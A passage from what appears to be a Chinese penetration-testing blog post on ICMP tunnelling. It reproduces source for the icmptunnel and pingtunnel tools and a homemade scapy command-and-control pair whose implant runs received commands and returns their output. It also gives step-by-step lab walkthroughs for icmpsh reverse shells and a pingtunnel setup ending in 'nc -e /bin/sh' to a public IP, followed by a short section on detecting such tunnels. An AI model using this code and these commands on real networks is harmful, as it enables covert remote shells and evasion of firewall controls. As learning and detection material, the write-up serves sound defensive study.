  printf("[DEBUG] Allocating tunnel\n");

  tun_fd = open(clonedev, O_RDWR);

  if(tun_fd == -1) {
    perror("Unable to open clone device\n");
    exit(EXIT_FAILURE);
  }
  
  memset(&ifr, 0, sizeof(ifr));

  ifr.ifr_flags = flags;

  if (*dev) {
    strncpy(ifr.ifr_name, dev, IFNAMSIZ);
  }

  if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {
    close(tun_fd);
    fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err));
    perror("Error in tun_alloc()\n");
    exit(EXIT_FAILURE);
  }

  printf("[DEBUG] Allocatating tunnel2");

  printf("[DEBUG] Created tunnel %s\n", dev);

  return tun_fd;
}

/**
 * Function to read from a tunnel
 */
int tun_read(int tun_fd, char *buffer, int length)
{
  int bytes_read;
  printf("[DEBUG] Reading from tunnel\n");
  bytes_read = read(tun_fd, buffer, length);

  if (bytes_read == -1) {
    perror("Unable to read from tunnel\n");
    exit(EXIT_FAILURE);
  }
  else {
    return bytes_read;
  }
}

/**
 * Function to write to a tunnel
 */
int tun_write(int tun_fd, char *buffer, int length)
{
  int bytes_written;
  printf("[DEBUG] Writing to tunnel\n");
  bytes_written = write(tun_fd, buffer, length);

  if (bytes_written == -1) {
    perror("Unable to write to tunnel\n");
    exit(EXIT_FAILURE);
  }
  else {
    return bytes_written;
  }
}

/**
 * Function to configure the network
 */
void configure_network(int server)
{
  int pid, status;
  char path[100];
  char *const args[] = {path, NULL};

  if (server) {
    if (sizeof(SERVER_SCRIPT) > sizeof(path)){
      perror("Server script path is too long\n");
      exit(EXIT_FAILURE);
    }
    strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);
  }
  else {
    if (sizeof(CLIENT_SCRIPT) > sizeof(path)){
      perror("Client script path is too long\n");
      exit(EXIT_FAILURE);
    }
    strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);
  }

  pid = fork();

  if (pid == -1) {
    perror("Unable to fork\n");
    exit(EXIT_FAILURE);
  }
  
  if (pid==0) {
    // Child process, run the script
    exit(execv(path, args));
  }
  else {
    // Parent process
    waitpid(pid, &status, 0);
    if (WEXITSTATUS(status) == 0) {
      // Script executed correctly
      printf("[DEBUG] Script ran successfully\n");
    }
    else {
      // Some error
      printf("[DEBUG] Error in running script\n");
    }
  }
}


/**
 * Function to run the tunnel
 */
void run_tunnel(char *dest, int server)
{
  struct icmp_packet packet;
  int tun_fd, sock_fd;

  fd_set fs;

  tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI);

  printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server);
  printf("[DEBUG] Opening ICMP socket\n");
  sock_fd = open_icmp_socket();

  if (server) {
    printf("[DEBUG] Binding ICMP socket\n");
    bind_icmp_socket(sock_fd);
  }

  configure_network(server);

  while (1) {
    FD_ZERO(&fs);
    FD_SET(tun_fd, &fs);
    FD_SET(sock_fd, &fs);

    select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL);

    if (FD_ISSET(tun_fd, &fs)) {
      printf("[DEBUG] Data needs to be readed from tun device\n");
      // Reading data from tun device and sending ICMP packet

      printf("[DEBUG] Preparing ICMP packet to be sent\n");
      // Preparing ICMP packet to be sent
      memset(&packet, 0, sizeof(struct icmp_packet));
      printf("[DEBUG] Destination address: %s\n", dest);

      if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){
        perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n");
        close(tun_fd);
        close(sock_fd);
        exit(EXIT_FAILURE);
      }
      strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1);

      if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){
        perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n");
        close(sock_fd);
        exit(EXIT_FAILURE);
      }
      strncpy(packet.dest_addr, dest, strlen(dest) + 1);

      if(server) {
        set_reply_type(&packet);
      }
      else {
        set_echo_type(&packet);
      }
      packet.payload = calloc(MTU, sizeof(uint8_t));
      if (packet.payload == NULL){
        perror("No memory available\n");
        exit(EXIT_FAILURE);
      }

      packet.payload_size  = tun_read(tun_fd, packet.payload, MTU);
      if(packet.payload_size  == -1) {
        perror("Error while reading from tun device\n");
        exit(EXIT_FAILURE);
      }

      printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload);
      // Sending ICMP packet
      send_icmp_packet(sock_fd, &packet);

      free(packet.payload);
    }

    if (FD_ISSET(sock_fd, &fs)) {
      printf("[DEBUG] Received ICMP packet\n");
      // Reading data from remote socket and sending to tun device

      // Getting ICMP packet
      memset(&packet, 0, sizeof(struct icmp_packet));
      receive_icmp_packet(sock_fd, &packet);

      printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload);
      // Writing out to tun device
      tun_write(tun_fd, packet.payload, packet.payload_size);

      printf("[DEBUG] Src address being copied: %s\n", packet.src_addr);
      strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1);
      free(packet.payload);
    }
  }

}

test_client.c

#include "icmp.h"
#include <string.h>

int main()
{
  struct icmp_packet packet;
  char *src_ip;
  char *dest_ip;
  int sock_fd;

  src_ip = "127.0.0.2";
  dest_ip = "127.0.0.1";

  strncpy(packet.src_addr, src_ip, strlen(src_ip) + 1);
  strncpy(packet.dest_addr, dest_ip, strlen(dest_ip) + 1);
  set_reply_type(&packet);
  packet.payload = "ZZZZZZ";
  packet.payload_size = strlen(packet.payload);

  sock_fd = open_icmp_socket();

  send_icmp_packet(sock_fd, &packet);

  close_icmp_socket(sock_fd);
}

test_server.c

#include "icmp.h"

#include <stdio.h>
#include <string.h>
 
 
int main()
{
  struct icmp_packet packet;
  int sock_fd;
 
  sock_fd = open_icmp_socket();
  bind_icmp_socket(sock_fd);

  printf("server initialized\n");
  while(1)
  {
    receive_icmp_packet(sock_fd, &packet);
    printf("%s\n", packet.src_addr);
    printf("%s\n", packet.dest_addr);
    printf("%d\n", packet.type);
    printf("%s\n", packet.payload);
  }
 
  close_icmp_socket(sock_fd);
}

icmptunnel.c

/**
 * icmp_tunnel.c
 */

#include "tunnel.h"

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define ARG_SERVER_MODE "-s"
#define ARG_CLIENT_MODE "-c"

void usage()
{
  printf("Wrong argument\n");
  fprintf(stdout, "usage: icmptunnel [-s serverip] | [-c clientip]\n");
}

int main(int argc, char *argv[])
{
  char ip_addr[100] = {0,};
  if ((argc < 3) || ((strlen(argv[2]) + 1) > sizeof(ip_addr))) {
    usage();
    exit(EXIT_FAILURE);
  }
  memcpy(ip_addr, argv[2], strlen(argv[2]) + 1);

  if (strncmp(argv[1], ARG_SERVER_MODE, strlen(argv[1])) == 0) {
    run_tunnel(ip_addr, 1);
  }
  else if (strncmp(argv[1], ARG_CLIENT_MODE, strlen(argv[1])) == 0) {
    run_tunnel(ip_addr, 0);
  }
  else {
    usage();
    exit(EXIT_FAILURE);
  }

  return EXIT_SUCCESS;
}

(2)用法

服务端

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 启动隧道(root权限)

    [sudo] ./icmptunnel -s 10.0.1.1
    
  • 观察路由

    route -n
    

攻击端

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 修改client.sh

    route add -host [server-IP] gw [client-IP] dev eth0
    
  • 建立隧道

    [sudo] ./icmptunnel -c [server-IP]
    

3、pingtunnel

github:https://github.com/esrrhs/pingtunnel

持续更新,TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,支持大多数具有libpcap的操作系统,从版本0.7开始,ptunnel也可以在装WinPcap的Windows上编译,client模式不需要管理员权限即可正常使用,推荐使用

内网渗透系列:内网隧道之ICMP隧道

(1)源码

main.go

package main

import (
	"flag"
	"fmt"
	"github.com/esrrhs/go-engine/src/common"
	"github.com/esrrhs/go-engine/src/geoip"
	"github.com/esrrhs/go-engine/src/loggo"
	"github.com/esrrhs/go-engine/src/pingtunnel"
	"net"
	"net/http"
	_ "net/http/pprof"
	"strconv"
	"time"
)

var usage = `
    通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商*TCP/UDP流量。
    By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.
Usage:
    // server
    pingtunnel -type server
    // client, Forward udp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
    // client, Forward tcp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
    // client, Forward sock5, implicitly open tcp, so no target server is needed
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1
    -type     服务器或者客户端
              client or server
服务器参数server param:
    -key      设置的密码,默认0
              Set password, default 0
    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off
    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off
    -loglevel 日志文件等级,默认info
              log level, default is info
    -maxconn  最大连接数,默认0,不受限制
              the max num of connections, default 0 is no limit
    -maxprt   server最大处理线程数,默认100
              max process thread in server, default 100
    -maxprb   server最大处理线程buffer数,默认1000
              max process thread's buffer in server, default 1000
    -conntt   server发起连接到目标地址的超时时间,默认1000ms
              The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.
客户端参数client param:
    -l        本地的地址,发到这个端口的流量将转发到服务器
              Local address, traffic sent to this port will be forwarded to the server
    -s        服务器的地址,流量将通过隧道转发到这个服务器
              The address of the server, the traffic will be forwarded to this server through the tunnel
    -t        远端服务器转发的目的地址,流量将转发到这个地址
              Destination address forwarded by the remote server, traffic will be forwarded to this address
    -timeout  本地记录连接超时的时间,单位是秒,默认60s
              The time when the local record connection timed out, in seconds, 60 seconds by default
    -key      设置的密码,默认0
              Set password, default 0
    -tcp      设置是否转发tcp,默认0
              Set the switch to forward tcp, the default is 0
    -tcp_bs   tcp的发送接收缓冲区大小,默认1MB
              Tcp send and receive buffer size, default 1MB
    -tcp_mw   tcp的最大窗口,默认20000
              The maximum window of tcp, the default is 20000
    -tcp_rst  tcp的超时发送时间,默认400ms
              Tcp timeout resend time, default 400ms
    -tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
              Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0
    -tcp_stat 打印tcp的监控,默认0
              Print tcp connection statistic, default 0 is off
    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off
    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off
    -loglevel 日志文件等级,默认info
              log level, default is info
    -sock5    开启sock5转发,默认0
              Turn on sock5 forwarding, default 0 is off
    -profile  在指定端口开启性能检测,默认0不开启
              Enable performance detection on the specified port. The default 0 is not enabled.
    -s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
              Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.
    -s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
              The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`

func main() {

	defer common.CrashLog()

	t := flag.String("type", "", "client or server")
	listen := flag.String("l", "", "listen addr")
	target := flag.String("t", "", "target addr")
	server := flag.String("s", "", "server addr")
	timeout := flag.Int("timeout", 60, "conn timeout")
	key := flag.Int("key", 0, "key")
	tcpmode := flag.Int("tcp", 0, "tcp mode")
	tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")
	tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")
	tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")
	tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")
	nolog := flag.Int("nolog", 0, "write log file")
	noprint := flag.Int("noprint", 0, "print stdout")
	tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")
	loglevel := flag.String("loglevel", "info", "log level")
	open_sock5 := flag.Int("sock5", 0, "sock5 mode")
	maxconn := flag.Int("maxconn", 0, "max num of connections")
	max_process_thread := flag.Int("maxprt", 100, "max process thread in server")
	max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")
	profile := flag.Int("profile", 0, "open profile")
	conntt := flag.Int("conntt", 1000, "the connect call's timeout")
	s5filter := flag.String("s5filter", "", "sock5 filter")
	s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")
	flag.Usage = func() {
		fmt.Printf(usage)
	}

	flag.Parse()

	if *t != "client" && *t != "server" {
		flag.Usage()
		return
	}
	if *t == "client" {
		if len(*listen) == 0 || len(*server) == 0 {
			flag.Usage()
			return
		}
		if *open_sock5 == 0 && len(*target) == 0 {
			flag.Usage()
			return
		}
		if *open_sock5 != 0 {
			*tcpmode = 1
		}
	}
	if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID {
		fmt.Println("set tcp win to big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))
		return
	}

	level := loggo.LEVEL_INFO
	if loggo.NameToLevel(*loglevel) >= 0 {
		level = loggo.NameToLevel(*loglevel)
	}
	loggo.Ini(loggo.Config{
		Level:     level,
		Prefix:    "pingtunnel",
		MaxDay:    3,
		NoLogFile: *nolog > 0,
		NoPrint:   *noprint > 0,
	})
	loggo.Info("start...")
	loggo.Info("key %d", *key)

	if *t == "server" {
		s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)
		if err != nil {
			loggo.Error("ERROR: %s", err.Error())
			return
		}
		loggo.Info("Server start")
		err = s.Run()
		if err != nil {
			loggo.Error("Run ERROR: %s", err.Error())
			return
		}
	} else if *t == "client" {

		loggo.Info("type %s", *t)
		loggo.Info("listen %s", *listen)
		loggo.Info("server %s", *server)
		loggo.Info("target %s", *target)

		if *tcpmode == 0 {
			*tcpmode_buffersize = 0
			*tcpmode_maxwin = 0
			*tcpmode_resend_timems = 0
			*tcpmode_compress = 0
			*tcpmode_stat = 0
		}

		if len(*s5filter) > 0 {
			err := geoip.Load(*s5ftfile)
			if err != nil {
				loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())
				return
			}
		}
		filter := func(addr string) bool {
			if len(*s5filter) <= 0 {
				return true
			}

			taddr, err := net.ResolveTCPAddr("tcp", addr)
			if err != nil {
				return false
			}

			ret, err := geoip.GetCountryIsoCode(taddr.IP.String())
			if err != nil {
				return false
			}
			if len(ret) <= 0 {
				return false
			}
			return ret != *s5filter
		}

		c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,
			*tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,
			*tcpmode_stat, *open_sock5, *maxconn, &filter)
		if err != nil {
			loggo.Error("ERROR: %s", err.Error())
			return
		}
		loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),
			c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())
		err = c.Run()
		if err != nil {
			loggo.Error("Run ERROR: %s", err.Error())
			return
		}
	} else {
		return
	}

	if *profile > 0 {
		go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)
	}

	for {
		time.Sleep(time.Hour)
	}
}

pack.sh

#! /bin/bash
#set -x
NAME="pingtunnel"

export GO111MODULE=off

#go tool dist list
build_list=$(go tool dist list)

rm pack -rf
rm pack.zip -f
mkdir pack

for line in $build_list; do
  os=$(echo "$line" | awk -F"/" '{print $1}')
  arch=$(echo "$line" | awk -F"/" '{print $2}')
  echo "os="$os" arch="$arch" start build"
  if [ $os == "android" ]; then
    continue
  fi
  if [ $os == "ios" ]; then
    continue
  fi
  if [ $arch == "wasm" ]; then
    continue
  fi
  CGO_ENABLED=0 GOOS=$os GOARCH=$arch go build -ldflags="-s -w"
  if [ $? -ne 0 ]; then
    echo "os="$os" arch="$arch" build fail"
    exit 1
  fi
  if [ $os = "windows" ]; then
    zip ${NAME}_"${os}"_"${arch}"".zip" $NAME".exe"
    if [ $? -ne 0 ]; then
      echo "os="$os" arch="$arch" zip fail"
      exit 1
    fi
    mv ${NAME}_"${os}"_"${arch}"".zip" pack/
    rm $NAME".exe" -f
  else
    zip ${NAME}_"${os}"_"${arch}"".zip" $NAME
    if [ $? -ne 0 ]; then
      echo "os="$os" arch="$arch" zip fail"
      exit 1
    fi
    mv ${NAME}_"${os}"_"${arch}"".zip" pack/
    rm $NAME -f
  fi
  echo "os="$os" arch="$arch" done build"
done

zip pack.zip pack/ -r

echo "all done"

(2)用法

服务端(无法ping通另一台)

  • 安装

    sudo wget (最新release的下载链接)
    sudo unzip pingtunnel_linux64.zip
    
  • (可选)关闭系统默认的 ping

    echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 建立隧道

    sudo ./pingtunnel -type server
    

客户端(可以ping通另一台)

  • 准备好一个具有公网 IP的服务器,假定域名或者公网 ip 是www.yourserver.com

  • 安装

    sudo wget (最新release的下载链接)
    sudo unzip pingtunnel_linux64.zip
    
  • 转发TCP

    pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
    

4、简单DIY

控制端:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2020/1/6 2:52 PM
# @File : icmp_c2.py

from scapy.all import *

def main():
	while True:
		command = raw_input('# Enter command: ')
		pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command
		send(pinger)
		rx = sniff(count=1, timeout=2)
		print(rx[0][Raw].load.decode('utf-8'))

if __name__ == "__main__":
	main()

被控端:

#!/usr/bin/env python

import os
from scapy.all import *

def main():
	while True:
		# wait for the ICMP message containing the command from the C2 server
		# to be received
		rx = sniff(filter="icmp", count=1)
		# strip down the packet to the payload itself
		var = rx[0][Raw].load.decode('utf-8')
		# run the command and save the result
		res = os.popen(var).read()
		# build the ICMP packet with the result as the payload	
		send(IP(dst="localhost")/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)

if __name__ == "__main__":
	main()

然后一个可供参考的Go版发送ICMP包

package main

import (
    "fmt"
    "net"
    "os"

    "golang.org/x/net/icmp"
    "golang.org/x/net/ipv4"
)

var Data = []byte("I'm hacker xi4okv!")

type ping struct {
    Addr string
    Conn net.Conn
    Data []byte
}


func main() {
    ping,err := Run("10.1.33.222", Data)

    if err != nil{
        fmt.Println(err)
    }
    
    ping.Ping()
}

func MarshalMsg(req int, data []byte) ([]byte, error) {
    xid, xseq := os.Getpid()&0xffff, req
    wm := icmp.Message{
        Type: ipv4.ICMPTypeEcho, Code: 0,
        Body: &icmp.Echo{
            ID: xid, Seq: xseq,
            Data: data,
        },
    }
    return wm.Marshal(nil)
}


func Run(addr string, data []byte) (*ping, error) {
    wb, err := MarshalMsg(1, data)
    if err != nil {
        return nil, err
    }

    if err != nil {
        return nil, err
    }
    return &ping{Data: wb, Addr: addr}, nil
}


func (self *ping) Dail() (err error) {
    self.Conn, err = net.Dial("ip4:icmp", self.Addr)
    if err != nil {
        return err
    }
    return nil
}

func (self *ping) Ping() {
    if err := self.Dail(); err != nil {
        fmt.Println("ICMP error")
        return
    }
    fmt.Println("Start ping from ", self.Conn.LocalAddr())
    sendPingMsg(self.Conn, self.Data)

}


func sendPingMsg(c net.Conn, wb []byte) {
    if _, err := c.Write(wb); err != nil {
        print(err)
    }
}

三、ICMP隧道应用

1、icmpsh

(1)环境

攻击机IP:192.168.10.234 (kali linux)
受害机IP:192.168.10.155 (windows10)

(2)实践

kali上

  • 安装
    git clone https://github.com/inquisb/icmpsh.git
    
  • 关闭ping回复,防止内核自己对ping包进行响应
    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    
  • 监听
    python icmpsh_m.py 192.168.10.234 192.168.10.155
    

内网渗透系列:内网隧道之ICMP隧道

windows上

  • 安装
    git clone https://github.com/inquisb/icmpsh.git
    
  • 关闭ping回复,防止内核自己对ping包进行响应
    sysctl -w net.ipv4.icmp_echo_ignore_all=1
    
  • 反弹shell
    icmpsh.exe -t 192.168.10.155
    

抓包
内网渗透系列:内网隧道之ICMP隧道

2、icmptunnel

(1)环境

客户端IP:192.168.10.234 (kali linux)
服务端IP:192.168.10.107 (kali linux)

(2)实践

受害机(服务端)

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 启动隧道(root权限)

    [sudo] ./icmptunnel -s 10.0.0.1
    

    内网渗透系列:内网隧道之ICMP隧道

  • 观察路由

    route -n
    

    内网渗透系列:内网隧道之ICMP隧道

攻击端(客户端)

  • 安装和编译

    git clone https://github.com/DhavalKapil/icmptunnel.git
    make
    
  • 禁用ICMP echo回复,防止内核自己对ping包进行响应

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
  • 修改client.sh

    route add -host 192.168.10.107 gw 192.168.10.1 dev eth0
    
  • 建立隧道

    [sudo] ./icmptunnel -c 192.168.10.107
    

    内网渗透系列:内网隧道之ICMP隧道

  • 观察路由

    route -n
    

    内网渗透系列:内网隧道之ICMP隧道

抓包

内网渗透系列:内网隧道之ICMP隧道

icmp包异常的多,且长度也很长,有些还可以看到有http的请求信息

3、pingtunnel

(1)环境

内网渗透系列:内网隧道之ICMP隧道
这里 redis 其实应该是没有公网 IP
redis 可以 ping 通 attack 机器
attack 机器无法 ping 通 redis 机器

(2)实践

attack机器上(作为服务端)

sudo wget https://github.com/esrrhs/pingtunnel/releases/download/2.2/pingtunnel_linux64.zip
sudo unzip pingtunnel_linux64.zip
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
sudo ./pingtunnel -type server -key 457864 #设置密码

内网渗透系列:内网隧道之ICMP隧道
redis 机器上(作为客户端)

sudo wget https://github.com/esrrhs/pingtunnel/releases/download/2.2/pingtunnel_linux64.zip
sudo unzip pingtunnel_linux64.zip
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
pingtunnel.exe -type client -l :4455 -s 47.244.96.168 -t 47.244.96.168:8888 -tcp 1 -key 457864 #监听本地的 4455 端口,发送到4455端口的流量将通过 ICMP 隧道转发到 47.244.96.168 服务器的 8888 端口

内网渗透系列:内网隧道之ICMP隧道
至此隧道建立成功,可以比如用nc

  • attack:busybox nc -lp 8888 -e /bin/sh
  • redis:nc.exe -nv 127.0.0.1 4455

注:如果想把它作为稳定的隧道去执行命令,不太现实,偶尔用来传个东西,还可以

四、检测和防御

1、数据包的总数

检测同一来源 ICMP 数据包的数量

一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包

内网渗透系列:内网隧道之ICMP隧道

2、payload内容

寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包
内网渗透系列:内网隧道之ICMP隧道
内网渗透系列:内网隧道之ICMP隧道

3、数据包过大

注意那些 ICMP 数据包中 payload 大于 64 比特的数据包

内网渗透系列:内网隧道之ICMP隧道

当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。

4、检查ICMP数据包的协议标签

例如icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征
内网渗透系列:内网隧道之ICMP隧道

5、检查type

ICMP隧道存在一些type为13/15/17的带payload的畸形数据包

一篇很细致的文章:基于统计分析的ICMP隧道检测方法与实现

结语

学习了ICMP隧道,源码还有待深入看看,然后思考攻防相关
在实战中,可能会由于过大的流量,过于明显的特征被发现,且隧道不稳定

参考:

上一篇:抓包


下一篇:P4-16 Specifications(v1.2.2)学习笔记